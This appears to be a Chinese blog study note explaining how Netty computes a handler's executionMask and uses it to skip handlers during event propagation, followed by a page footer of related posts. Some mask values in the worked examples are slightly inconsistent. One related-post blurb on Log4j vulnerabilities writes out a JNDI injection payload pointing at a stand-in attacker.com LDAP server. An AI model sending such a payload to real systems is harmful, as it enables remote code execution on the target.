ChannelPipeline事件传播详解-executionMask机制

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

ChannelPipeline 事件传播详解 - executionMask 机制

一、executionMask 是什么?

1.1 定义

executionMask 是 ChannelHandlerContext 的一个整型字段,用位掩码的方式记录当前 Handler 实现了哪些方法。

// AbstractChannelHandlerContext.java
abstract class AbstractChannelHandlerContext implements ChannelHandlerContext {
    // 执行掩码:标识这个 Handler 实现了哪些方法
    private final int executionMask;
    
    AbstractChannelHandlerContext(DefaultChannelPipeline pipeline, EventExecutor executor,
                                   String name, Class<? extends ChannelHandler> handlerClass) {
        this.name = ObjectUtil.checkNotNull(name, "name");
        this.pipeline = pipeline;
        this.executor = executor;
        // 计算执行掩码
        this.executionMask = mask(handlerClass);
        // ...
    }
}

1.2 为什么需要 executionMask?

性能优化! 避免不必要的方法调用。

没有 executionMask 的情况:

// 每次事件传播都要调用 Handler 的方法
handler.channelRead(ctx, msg);  // 即使 Handler 没有重写这个方法

有 executionMask 的情况:

// 先检查 Handler 是否实现了这个方法
if ((ctx.executionMask & MASK_CHANNEL_READ) != 0) {
    handler.channelRead(ctx, msg);  // 只有实现了才调用
} else {
    // 直接跳过,继续传播
    ctx.fireChannelRead(msg);
}

二、executionMask 的计算过程

2.1 掩码常量定义

// ChannelHandlerMask.java
public final class ChannelHandlerMask {
    // 入站事件掩码
    static final int MASK_EXCEPTION_CAUGHT = 1;              // 0000 0001
    static final int MASK_CHANNEL_REGISTERED = 1 << 1;       // 0000 0010
    static final int MASK_CHANNEL_UNREGISTERED = 1 << 2;     // 0000 0100
    static final int MASK_CHANNEL_ACTIVE = 1 << 3;           // 0000 1000
    static final int MASK_CHANNEL_INACTIVE = 1 << 4;         // 0001 0000
    static final int MASK_CHANNEL_READ = 1 << 5;             // 0010 0000
    static final int MASK_CHANNEL_READ_COMPLETE = 1 << 6;    // 0100 0000
    static final int MASK_USER_EVENT_TRIGGERED = 1 << 7;     // 1000 0000
    static final int MASK_CHANNEL_WRITABILITY_CHANGED = 1 << 8;
    
    // 出站事件掩码
    static final int MASK_BIND = 1 << 9;
    static final int MASK_CONNECT = 1 << 10;
    static final int MASK_DISCONNECT = 1 << 11;
    static final int MASK_CLOSE = 1 << 12;
    static final int MASK_DEREGISTER = 1 << 13;
    static final int MASK_READ = 1 << 14;
    static final int MASK_WRITE = 1 << 15;
    static final int MASK_FLUSH = 1 << 16;
    
    // 所有入站事件的掩码(OR 运算)
    static final int MASK_ONLY_INBOUND = 
        MASK_CHANNEL_REGISTERED |
        MASK_CHANNEL_UNREGISTERED |
        MASK_CHANNEL_ACTIVE |
        MASK_CHANNEL_INACTIVE |
        MASK_CHANNEL_READ |
        MASK_CHANNEL_READ_COMPLETE |
        MASK_USER_EVENT_TRIGGERED |
        MASK_CHANNEL_WRITABILITY_CHANGED |
        MASK_EXCEPTION_CAUGHT;
    
    // 所有出站事件的掩码(OR 运算)
    static final int MASK_ONLY_OUTBOUND = 
        MASK_BIND |
        MASK_CONNECT |
        MASK_DISCONNECT |
        MASK_CLOSE |
        MASK_DEREGISTER |
        MASK_READ |
        MASK_WRITE |
        MASK_FLUSH;
}

2.2 计算 Handler 的 executionMask

当 Handler 被添加到 Pipeline 时,Netty 会扫描 Handler 类,检查它实现了哪些方法:

// ChannelHandlerMask.java
static int mask(Class<? extends ChannelHandler> clazz) {
    // 尝试从缓存中获取
    Map<Class<? extends ChannelHandler>, Integer> cache = MASKS.get();
    Integer mask = cache.get(clazz);
    if (mask == null) {
        // 计算掩码
        mask = mask0(clazz);
        cache.put(clazz, mask);
    }
    return mask;
}

private static int mask0(Class<? extends ChannelHandler> handlerType) {
    int mask = MASK_EXCEPTION_CAUGHT;  // 默认包含异常处理
    
    try {
        // 检查是否是 ChannelInboundHandler
        if (ChannelInboundHandler.class.isAssignableFrom(handlerType)) {
            mask |= MASK_ALL_INBOUND;  // 先假设实现了所有入站方法
            
            // 检查每个入站方法是否被重写
            if (isSkippable(handlerType, "channelRegistered", ChannelHandlerContext.class)) {
                mask &= ~MASK_CHANNEL_REGISTERED;  // 没重写,清除对应位
            }
            if (isSkippable(handlerType, "channelUnregistered", ChannelHandlerContext.class)) {
                mask &= ~MASK_CHANNEL_UNREGISTERED;
            }
            if (isSkippable(handlerType, "channelActive", ChannelHandlerContext.class)) {
                mask &= ~MASK_CHANNEL_ACTIVE;
            }
            if (isSkippable(handlerType, "channelInactive", ChannelHandlerContext.class)) {
                mask &= ~MASK_CHANNEL_INACTIVE;
            }
            if (isSkippable(handlerType, "channelRead", ChannelHandlerContext.class, Object.class)) {
                mask &= ~MASK_CHANNEL_READ;
            }
            if (isSkippable(handlerType, "channelReadComplete", ChannelHandlerContext.class)) {
                mask &= ~MASK_CHANNEL_READ_COMPLETE;
            }
            if (isSkippable(handlerType, "userEventTriggered", ChannelHandlerContext.class, Object.class)) {
                mask &= ~MASK_USER_EVENT_TRIGGERED;
            }
            if (isSkippable(handlerType, "channelWritabilityChanged", ChannelHandlerContext.class)) {
                mask &= ~MASK_CHANNEL_WRITABILITY_CHANGED;
            }
        }
        
        // 检查是否是 ChannelOutboundHandler
        if (ChannelOutboundHandler.class.isAssignableFrom(handlerType)) {
            // 类似的检查出站方法...
        }
    } catch (Exception e) {
        // 异常时返回所有掩码
        return MASK_ALL_INBOUND | MASK_ALL_OUTBOUND;
    }
    
    return mask;
}

// 检查方法是否可以跳过(没有被重写)
private static boolean isSkippable(
        final Class<?> handlerType,
        final String methodName,
        final Class<?>... paramTypes) throws Exception {
    
    return AccessController.doPrivileged(new PrivilegedExceptionAction<Boolean>() {
        @Override
        public Boolean run() throws Exception {
            Method m = handlerType.getMethod(methodName, paramTypes);
            // 检查方法是否被 @Skip 注解标记,或者是否在基类中定义
            return m.isAnnotationPresent(Skip.class) ||
                   m.getDeclaringClass().equals(ChannelInboundHandlerAdapter.class) ||
                   m.getDeclaringClass().equals(ChannelOutboundHandlerAdapter.class) ||
                   m.getDeclaringClass().equals(ChannelDuplexHandler.class);
        }
    });
}

2.3 实际示例

示例 1:只实现了 channelRead
public class MyHandler extends ChannelInboundHandlerAdapter {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) {
        System.out.println("收到消息: " + msg);
        ctx.fireChannelRead(msg);
    }
    
    // 其他方法都没有重写
}

计算 executionMask:

初始值:MASK_EXCEPTION_CAUGHT = 0000 0001

检查 ChannelInboundHandler:
  先设置所有入站位:mask |= MASK_ALL_INBOUND
  
  检查 channelRegistered:没重写,清除该位
  检查 channelUnregistered:没重写,清除该位
  检查 channelActive:没重写,清除该位
  检查 channelInactive:没重写,清除该位
  检查 channelRead:重写了,保留该位 ✓
  检查 channelReadComplete:没重写,清除该位
  检查 userEventTriggered:没重写,清除该位
  检查 channelWritabilityChanged:没重写,清除该位

最终 executionMask = MASK_EXCEPTION_CAUGHT | MASK_CHANNEL_READ
                   = 0000 0001 | 0010 0000
                   = 0010 0001
示例 2:实现了多个方法
public class MyHandler extends ChannelInboundHandlerAdapter {
    @Override
    public void channelActive(ChannelHandlerContext ctx) {
        System.out.println("连接激活");
        ctx.fireChannelActive();
    }
    
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) {
        System.out.println("收到消息: " + msg);
        ctx.fireChannelRead(msg);
    }
    
    @Override
    public void channelInactive(ChannelHandlerContext ctx) {
        System.out.println("连接断开");
        ctx.fireChannelInactive();
    }
}

计算 executionMask:

最终 executionMask = MASK_EXCEPTION_CAUGHT | 
                     MASK_CHANNEL_ACTIVE | 
                     MASK_CHANNEL_READ | 
                     MASK_CHANNEL_INACTIVE
                   = 0000 0001 | 0000 1000 | 0010 0000 | 0001 0000
                   = 0011 1001

三、事件传播的完整流程(详细版)

3.1 场景设置

假设 Pipeline 结构如下:

head <-> Handler1 <-> Handler2 <-> Handler3 <-> tail

Handler 实现:

// Handler1:只实现了 channelRead
class Handler1 extends ChannelInboundHandlerAdapter {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) {
        System.out.println("Handler1.channelRead");
        ctx.fireChannelRead(msg);
    }
}

// Handler2:实现了 channelActive 和 channelRead
class Handler2 extends ChannelInboundHandlerAdapter {
    @Override
    public void channelActive(ChannelHandlerContext ctx) {
        System.out.println("Handler2.channelActive");
        ctx.fireChannelActive();
    }
    
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) {
        System.out.println("Handler2.channelRead");
        ctx.fireChannelRead(msg);
    }
}

// Handler3:只实现了 channelActive
class Handler3 extends ChannelInboundHandlerAdapter {
    @Override
    public void channelActive(ChannelHandlerContext ctx) {
        System.out.println("Handler3.channelActive");
        ctx.fireChannelActive();
    }
}

executionMask 值:

head.executionMask    = 所有入站和出站掩码(特殊节点)
handler1.executionMask = MASK_EXCEPTION_CAUGHT | MASK_CHANNEL_READ
handler2.executionMask = MASK_EXCEPTION_CAUGHT | MASK_CHANNEL_ACTIVE | MASK_CHANNEL_READ
handler3.executionMask = MASK_EXCEPTION_CAUGHT | MASK_CHANNEL_ACTIVE
tail.executionMask    = 所有入站掩码(特殊节点)

3.2 channelRead 事件传播流程

步骤 1:触发事件
pipeline.fireChannelRead(msg);

调用:

// DefaultChannelPipeline.java
public final ChannelPipeline fireChannelRead(Object msg) {
    AbstractChannelHandlerContext.invokeChannelRead(head, msg);
    return this;
}
步骤 2:head 节点处理
// AbstractChannelHandlerContext.java
static void invokeChannelRead(final AbstractChannelHandlerContext next, Object msg) {
    EventExecutor executor = next.executor();
    
    if (executor.inEventLoop()) {
        // 在 EventLoop 线程中,直接调用
        next.invokeChannelRead(msg);
    } else {
        // 不在 EventLoop 线程中,提交任务
        executor.execute(() -> next.invokeChannelRead(msg));
    }
}

调用:

// AbstractChannelHandlerContext.java
private void invokeChannelRead(Object msg) {
    if (invokeHandler()) {
        try {
            // 调用 head 的 channelRead 方法
            ((ChannelInboundHandler) handler()).channelRead(this, msg);
        } catch (Throwable t) {
            invokeExceptionCaught(t);
        }
    } else {
        fireChannelRead(msg);
    }
}

head 的 channelRead 实现:

// HeadContext.java
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) {
    // head 直接传播,不做处理
    ctx.fireChannelRead(msg);
}
步骤 3:head 调用 ctx.fireChannelRead(msg)
// AbstractChannelHandlerContext.java
public ChannelHandlerContext fireChannelRead(final Object msg) {
    // 查找下一个入站 Handler
    invokeChannelRead(findContextInbound(MASK_CHANNEL_READ), msg);
    return this;
}

关键:findContextInbound(MASK_CHANNEL_READ)

private AbstractChannelHandlerContext findContextInbound(int mask) {
    AbstractChannelHandlerContext ctx = this;  // ctx = head
    EventExecutor currentExecutor = executor();
    
    do {
        ctx = ctx.next;  // 第一次:ctx = handler1
    } while (skipContext(ctx, currentExecutor, mask, MASK_ONLY_INBOUND));
    
    return ctx;
}

检查 handler1 是否跳过:

private static boolean skipContext(
        AbstractChannelHandlerContext ctx,  // handler1
        EventExecutor currentExecutor,
        int mask,                            // MASK_CHANNEL_READ = 0010 0000
        int onlyMask) {                      // MASK_ONLY_INBOUND
    
    // 条件 1:检查是否是入站 Handler 且实现了 channelRead
    boolean condition1 = (ctx.executionMask & (onlyMask | mask)) == 0;
    
    // handler1.executionMask = 0010 0001 (MASK_EXCEPTION_CAUGHT | MASK_CHANNEL_READ)
    // onlyMask | mask = MASK_ONLY_INBOUND | MASK_CHANNEL_READ
    // (0010 0001 & (MASK_ONLY_INBOUND | 0010 0000)) != 0
    // condition1 = false,不跳过
    
    // 条件 2:检查 EventExecutor
    boolean condition2 = (ctx.executor() == currentExecutor && 
                         (ctx.executionMask & mask) == 0);
    
    // (handler1.executionMask & MASK_CHANNEL_READ) = 0010 0000 != 0
    // condition2 = false
    
    return condition1 || condition2;  // false || false = false
}

结果: handler1 不跳过,返回 handler1 的 Context

步骤 4:handler1 处理
// 调用 handler1.channelRead()
invokeChannelRead(handler1Context, msg);
    ↓
handler1Context.invokeChannelRead(msg);
    ↓
((ChannelInboundHandler) handler()).channelRead(this, msg);
    ↓
Handler1.channelRead(ctx, msg) {
    System.out.println("Handler1.channelRead");  // 输出
    ctx.fireChannelRead(msg);  // 继续传播
}
步骤 5:handler1 调用 ctx.fireChannelRead(msg)

再次调用 findContextInbound(MASK_CHANNEL_READ):

do {
    ctx = ctx.next;  // ctx = handler2
} while (skipContext(ctx, currentExecutor, mask, MASK_ONLY_INBOUND));

检查 handler2 是否跳过:

// handler2.executionMask = 0011 0001 (包含 MASK_CHANNEL_READ)
// (0011 0001 & MASK_CHANNEL_READ) = 0010 0000 != 0
// 不跳过

结果: handler2 不跳过,返回 handler2 的 Context

步骤 6:handler2 处理
Handler2.channelRead(ctx, msg) {
    System.out.println("Handler2.channelRead");  // 输出
    ctx.fireChannelRead(msg);  // 继续传播
}
步骤 7:handler2 调用 ctx.fireChannelRead(msg)

再次调用 findContextInbound(MASK_CHANNEL_READ):

do {
    ctx = ctx.next;  // ctx = handler3
} while (skipContext(ctx, currentExecutor, mask, MASK_ONLY_INBOUND));

检查 handler3 是否跳过:

// handler3.executionMask = 0000 1001 (只有 MASK_EXCEPTION_CAUGHT | MASK_CHANNEL_ACTIVE)
// (0000 1001 & MASK_CHANNEL_READ) = 0000 0000 == 0
// 跳过!

结果: handler3 跳过,继续查找

do {
    ctx = ctx.next;  // ctx = tail
} while (skipContext(ctx, currentExecutor, mask, MASK_ONLY_INBOUND));

检查 tail 是否跳过:

// tail.executionMask = 所有入站掩码(包含 MASK_CHANNEL_READ)
// 不跳过

结果: 返回 tail 的 Context

步骤 8:tail 处理
TailContext.channelRead(ctx, msg) {
    onUnhandledInboundMessage(ctx, msg);
    // 释放资源
    ReferenceCountUtil.release(msg);
}

3.3 完整流程图

pipeline.fireChannelRead(msg)
    ↓
invokeChannelRead(head, msg)
    ↓
head.invokeChannelRead(msg)
    ↓
head.channelRead(ctx, msg)
    ↓
ctx.fireChannelRead(msg)
    ↓
findContextInbound(MASK_CHANNEL_READ)
    ├─ 检查 handler1: executionMask & MASK_CHANNEL_READ != 0 ✓ 不跳过
    └─ 返回 handler1Context
    ↓
invokeChannelRead(handler1Context, msg)
    ↓
Handler1.channelRead(ctx, msg)  // 输出: Handler1.channelRead
    ↓
ctx.fireChannelRead(msg)
    ↓
findContextInbound(MASK_CHANNEL_READ)
    ├─ 检查 handler2: executionMask & MASK_CHANNEL_READ != 0 ✓ 不跳过
    └─ 返回 handler2Context
    ↓
invokeChannelRead(handler2Context, msg)
    ↓
Handler2.channelRead(ctx, msg)  // 输出: Handler2.channelRead
    ↓
ctx.fireChannelRead(msg)
    ↓
findContextInbound(MASK_CHANNEL_READ)
    ├─ 检查 handler3: executionMask & MASK_CHANNEL_READ == 0 ✗ 跳过
    ├─ 检查 tail: executionMask & MASK_CHANNEL_READ != 0 ✓ 不跳过
    └─ 返回 tailContext
    ↓
invokeChannelRead(tailContext, msg)
    ↓
TailContext.channelRead(ctx, msg)
    └─ 释放资源

四、channelActive 事件传播对比

使用相同的 Pipeline,触发 channelActive 事件:

pipeline.fireChannelActive();

传播流程

pipeline.fireChannelActive()
    ↓
invokeChannelActive(head)
    ↓
head.channelActive(ctx)
    ↓
ctx.fireChannelActive()
    ↓
findContextInbound(MASK_CHANNEL_ACTIVE)
    ├─ 检查 handler1: executionMask & MASK_CHANNEL_ACTIVE == 0 ✗ 跳过
    ├─ 检查 handler2: executionMask & MASK_CHANNEL_ACTIVE != 0 ✓ 不跳过
    └─ 返回 handler2Context
    ↓
Handler2.channelActive(ctx)  // 输出: Handler2.channelActive
    ↓
ctx.fireChannelActive()
    ↓
findContextInbound(MASK_CHANNEL_ACTIVE)
    ├─ 检查 handler3: executionMask & MASK_CHANNEL_ACTIVE != 0 ✓ 不跳过
    └─ 返回 handler3Context
    ↓
Handler3.channelActive(ctx)  // 输出: Handler3.channelActive
    ↓
ctx.fireChannelActive()
    ↓
tail.channelActive(ctx)

注意: handler1 被跳过了,因为它没有实现 channelActive 方法!


五、总结

5.1 executionMask 的作用

  1. 性能优化:避免调用 Handler 没有实现的方法
  2. 快速跳过:通过位运算快速判断是否需要调用
  3. 自动计算:Handler 添加时自动扫描并计算

5.2 事件传播的关键步骤

  1. 触发事件:pipeline.fireXxx()
  2. 从 head 开始:invokeXxx(head, ...)
  3. 调用 Handler:handler().xxx(ctx, ...)
  4. 继续传播:ctx.fireXxx(...)
  5. 查找下一个:findContextInbound(MASK_XXX)
  6. 检查掩码:skipContext() 通过位运算判断
  7. 循环执行:直到 tail 或事件被终止

5.3 位运算检查逻辑

// 检查 Handler 是否实现了某个方法
if ((ctx.executionMask & MASK_CHANNEL_READ) != 0) {
    // 实现了,调用
    handler.channelRead(ctx, msg);
} else {
    // 没实现,跳过
    ctx.fireChannelRead(msg);
}

5.4 记忆要点

  1. executionMask 是位掩码,记录 Handler 实现了哪些方法
  2. 每个方法对应一个位,通过位运算快速判断
  3. skipContext() 决定是否跳过 Handler
  4. 只有实现了方法的 Handler 才会被调用
  5. 事件传播是链式的,每个 Handler 调用 ctx.fireXxx() 继续传播
第28篇 sw放样特征矩形-圆-矩形学习笔记 本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。 阅读详情

相关推荐

从零到一:手把手教你用Python搭建医学影像识别CNN模型(附完整代码)

本文详细介绍了如何使用Python和TensorFlow/Keras从零开始构建一个医学影像识别的CNN模型,涵盖数据预处理、模型架构设计、训练调优及部署全流程。通过实战案例和完整代码,帮助开发者快速掌握深度学习在医学影像识别中的应用,特别适合医疗AI领域的初学者和研究者。

spark7igniter的博客 200

ChannelPipeline入站事件处理机制详解

ChannelPipeline入站事件处理机制详解

java_rutu的博客 324

YOLOv8傻瓜式教程

YOLOv8傻瓜式教程,附带详细参数配置。

Father_of_Python的博客 1万+

Netty 源码分析1.6 DefaultChannelPipeline类

################################################################################### 后续文章中都会对一些代码逻辑进行说明,但原文的英文注释一般不会直译,进行保留,只会说明那些没有注释的地方 ###############################################################...

梦野清风 492

stm32使用TB6600驱动器控制42BYGH型步进电机

stm32使用TB6600驱动器控制42BYGH型步进电机

qq_35653974的博客 9589

陀螺仪选型避坑指南:为什么IMU660RA是智能车竞赛的性价比之选?

本文针对智能车竞赛场景,提供陀螺仪选型避坑指南,并深度解析为何IMU660RA成为性价比之选。文章指出,竞赛选型应避免盲目追求高性能“黑盒”模块,而应注重原始数据获取与算法开发。IMU660RA以其良好的常温稳定性、适中的噪声水平、极致的性价比和丰富的生态支持,成为帮助参赛者深入理解姿态解算原理、进行“白盒开发”的理想教学与实践平台。

tech5的博客 882

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 377

5种超实用方法:快速获取Windows文件夹下所有文件名(含CMD/PowerShell脚本)

本文详细介绍了5种快速获取Windows文件夹下所有文件名的实用方法,包括图形界面操作、Excel数据导入、CMD命令和PowerShell脚本。特别提供了高效的CMD和PowerShell脚本示例,帮助用户轻松实现文件名的批量获取与管理,大幅提升工作效率。

opencv7vision的博客 452

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 432

【Windows Server 2019】组策略的配置与管理——理论基础

博文介绍了组策略的定义,作用和分类。组策略包括计算机配置和用户配置;组策略又分为为基于本地的组策略和基于AD(活动目录)的域组策略。并说明了不同组策略发生冲突时默认的规则。

VMware, Windows, Linux, Cisco, Container, Kubernetes, Kali 1万+

【Python爬虫(90)】以Python爬虫为眼,洞察金融科技监管风云

本文聚焦爬虫技术在金融科技监管中的应用。开篇阐述金融科技发展带来监管挑战,引出爬虫技术的重要性。接着介绍金融科技监管政策与合规要求,包括政策法规体系、合规细则及政策变化应对。随后探讨爬虫技术选型、数据监测策略、风险指标抓取及案例实操。还阐述基于爬虫数据构建风险预警与防控机制,含模型构建、阈值设定等。最后总结爬虫技术应用成果,展望其与人工智能融合、适应新监管需求及重视数据安全的未来发展趋势。

邓邓子的博客 1064

[学习笔记]超越超级大循环与原生RTOS:事件驱动架构如何改变嵌入式固件的可扩展性

RTC:事件处理器一旦开始,全部状态迁移、进出动作、输出事件必须全部执行完毕才返回;同一个组件,当前处理没结束,不会开始下一条事件。这不是架构给状态机额外施加的限制,这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断,状态机会停留在未定义的中间状态。RTC保证两次事件之间,状态机永远处于明确定义的合法状态,便于分析与测试。

MiKiJT的博客 230

OpenClaw 生成测试用例

OpenClaw 只是躯干,Skills 才是灵魂。很多同学觉得 OpenClaw 没用,就像是买了一台顶级电脑却没装操作系统。通过这四步走,不仅可以学会如何让 AI 干活,更重要的是,可以学会如何管理 AI 的能力。

十二测试录 739

带着小白学习-微服务-6 实战:网关

地址栏输入:http://localhost:8088/goods/index,这时候就不是到8100端口去调用了,而是8088直接通过路由转发,分别到nacos对应的goods对应的服务中区调用。** 可以看出,这里将前面已经正常运行的server-store子工程(库存服务,服务提供方),server-goods子工程(商品服务,服务消费方)。(1)uri: lb://store 代表要到nacos的注册中心的服务列表中找到服务名为store的微服务;,网关是做路由转发,不是服务调用;

wdyan297的博客 221

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 212

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 367

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 173

CMake学习

CMake如何编译成库?1. 为什么要有库?库就是预先写好,编译好的代码集合。存在的意义,1)避免重复造轮子和重复编译,库是,你的代码在编译时直接链接它,不需要把库的源码重新编译一遍,大大节省了编译时间。;2):编译成库让别人可以直接调用我的函数,但看不到cpp源码,看不到里面的逻辑。3):大项目可以拆分给不同的团队开发不同的库,最后拼在一起。静态库:就是在程序编译和链接阶段,把库里被用到的代码部分,像打包裹一样,直接复制粘贴到最终的可执行文件(如.exe或 Linux 下的无后缀文件)里面。

m0_56487684的博客 199

焦点仿真学习记录:water_only 基线怎么搭、怎么验、怎么调

在纯水介质中搭建5阵元几何聚焦仿真,通过合理设置网格、介质参数、源延时与传感器区域,实现焦点理论位置的精准对齐。基于声速计算延时,验证焦点位置误差小于0.1 mm,峰值压力达1.2×10⁵ Pa,确认基线仿真正确。该water_only模型为后续颅骨影响分析提供可靠参照,确保聚焦性能评估可量化。

qq_43441284的博客 497

正则表达式学习笔记 02:基础语法

正则表达式是描述字符匹配规则的迷你语言,由普通字符和元字符组成。普通字符直接匹配自身,而元字符如.、*、+、^、$等具有特殊含义,用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类(如\d)、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意,若要匹配元字符本身,必须使用转义符\。例如,\.可匹配字面点号。

菜鸟的专栏 190

[LangChain] 学习笔记(08):工具调用底层闭环与第三方搜索(Tavily)实战

大模型通过工具调用实现外部能力扩展:模型返回tool_calls,开发者本地执行后将结果以ToolMessage形式追加至对话历史,再由模型生成最终回答。关键闭环在于状态追加,否则会陷入死循环。借助LangChain生态如TavilySearch,可轻松接入联网搜索,突破知识时效限制。注意避免invalid_tool_call_id错误,确保消息历史完整;网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 367

【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟

在下面去给他写中断子函数,他会在main中去到Timer0这个子函数当中去,再接着跳转回来。再TMOD上,这个是不可位寻址的,必须八位同时复制,如果同时使用定时器1和定时器0,先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉,我们去给他让他只去执行一部分。现在我们要去做中断了,改正之后的是这样,但其实是还有缺陷在的。寄存器是连接软硬件的媒介,我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式,M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。

2601_96469072的博客 241

扣子Coze学习笔记 02 · 智能体开发基础(视频9-15)

本模块系统讲解智能体开发全流程:从创建、模式选择(推荐单Agent自主规划)、参数调优(随机性、上下文轮数、回复长度)到提示词编写(CO-STAR框架+边界限制),强调“双向交互”与“持续学习”的核心价值。通过奶茶师傅类比,厘清智能体与自动化工具的本质区别。重点掌握系统提示词定义角色边界、用户提示词规范输入,并完成发布与开场白优化闭环。实操建议边学边调试,反复验证提示词边界,确保智能体稳定可用。

Question_123456的博客 584

Git与GitHub系统学习|本地Git工作模型:终端与进程、CWD、HEAD/Index/工作树及Git对象

从GitHub网页端走向本地Git,讲清终端、Shell、进程与工作目录,解释仓库发现、HEAD、Index和工作树,分析Commit/Tree/Blob引用、文件树与暂存机制,区分实测与教学示例。

Brookty的博客 630

Day33 XD安全学习笔记--JavaEE应用&SQL 预编译&Filter过滤器&Listener监听器&访问控制

本文介绍了SQL预编译与Filter过滤器、Listener监听器的应用。SQL预编译有效防止注入攻击,相比拼接写法更安全。Filter用于拦截请求与响应,实现权限控制、敏感词过滤等功能,具备初始化、过滤、销毁生命周期;如XssFilter拦截非法参数,AdminFilter通过Cookie验证权限。Listener监听域对象的创建、销毁及属性变化,如Session的创建与销毁,实现系统状态管理。三者协同提升Web应用的安全性与可维护性。

一支蜉蝣的博客 241

库函数的学习

那是因为我们静态库在编译的时候就可以查找,我们之前用的方法就是在编译时可以查找,静态库会直接拷贝到我们的代码当中,所以运行的时候可以不需要i库。-L之告诉编译器,这个库在我们当前目录下,不然会找不到,它默认去的是lib64找。我们使用静态库的方法,然后形成可执行的main文件,我们执行,发现无法执行。gcc main.c -o main -I 文件 -L 文件。-l后面跟我们哭的名字,注意我们库的前缀和后缀都要去掉。使用-I -L -i这样的选项可以随时链接库。我们库的本质是:.o文件的集合。

ywlsg的博客 237
上一篇: ChannelPipeline入站事件处理机制详解
下一篇: connect和bind过程详解(一)
不早睡不改名@
博客等级 码龄5年 536粉丝 306原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值